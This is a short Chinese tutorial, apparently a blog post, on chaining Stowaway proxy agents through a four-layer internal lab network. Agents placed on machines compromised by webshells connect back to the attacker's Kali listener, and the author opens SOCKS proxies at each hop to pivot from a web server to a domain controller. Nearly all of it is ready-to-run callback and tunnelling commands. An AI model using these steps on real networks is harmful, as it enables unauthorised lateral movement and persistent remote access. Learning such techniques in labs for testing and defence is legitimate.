Stowaway搭建多级网络代理
如何组成多级代理?
假设现在有三层内网

kali作为admin端
admin端: ./stowaway_admin -l 9999 -s 123 #admin端监听9999端口,连接密码为123
先拿下(web)192.168.139.222的入口机器的webshell,把它作为agent-1端
agent-1端: ./stowaway_agent -c 192.168.139.141:9999 -s 123 --reconnect 8 #agent-1端连接我的admin端的kali的9999端口,并设置重连间隔时间,当控制端掉线时客户端每隔8s重连控制
建立socks代理
admin端点:
use 0 #进入刚刚拿下的会话
socks 7777 admin admin #建立socks代理,端口为7777,账号密码为admin、admin

通过proxifier连接控制端,访问第一层内网

先拿下(sql)192.168.2.22这台机器的webshell,然后上传agent-2
admin端的(node 0)开个监听
listen #监听
10000 #监听端口为10000

通过webshell,让(sql)机器主动连接 (web)机器 的10000端口
./stowaway_agent -c 192.168.2.11:10000 -s 123 --reconnect 8
此时控制端会立即显示新加入的节点 (node 1)
进入新的节点 (node 1)
admin端:
use 1
socks 7778 admin admin 建立socks代理

此时proxifier再添加代理服务器和代理规则即可访问第二层网路3.x
通过打点,拿下 (FILE) 192.168.3.22机器的webshell,传agent-3上去
admin端点:
use 1
listen
7779
(FILE) 机器,
./stowaway_agent -c 192.168.3.11:7779 -s 123 --reconnect 8
拿下新的节点 (node 2)
admin端
use 2
socks 8000 admin admin 建立socks代理
proxifile配置socks代理即可访问4.x网段
打点拿到 (DC)192.168.4.22机器后,上传agent-4
admin端
use 2
listen
8001
agent-3端
./stowaway_agent -c 192.168.4.11:8001 -s 123 --reconnect 8
成功拿下新的节点

浙公网安备 33010602011771号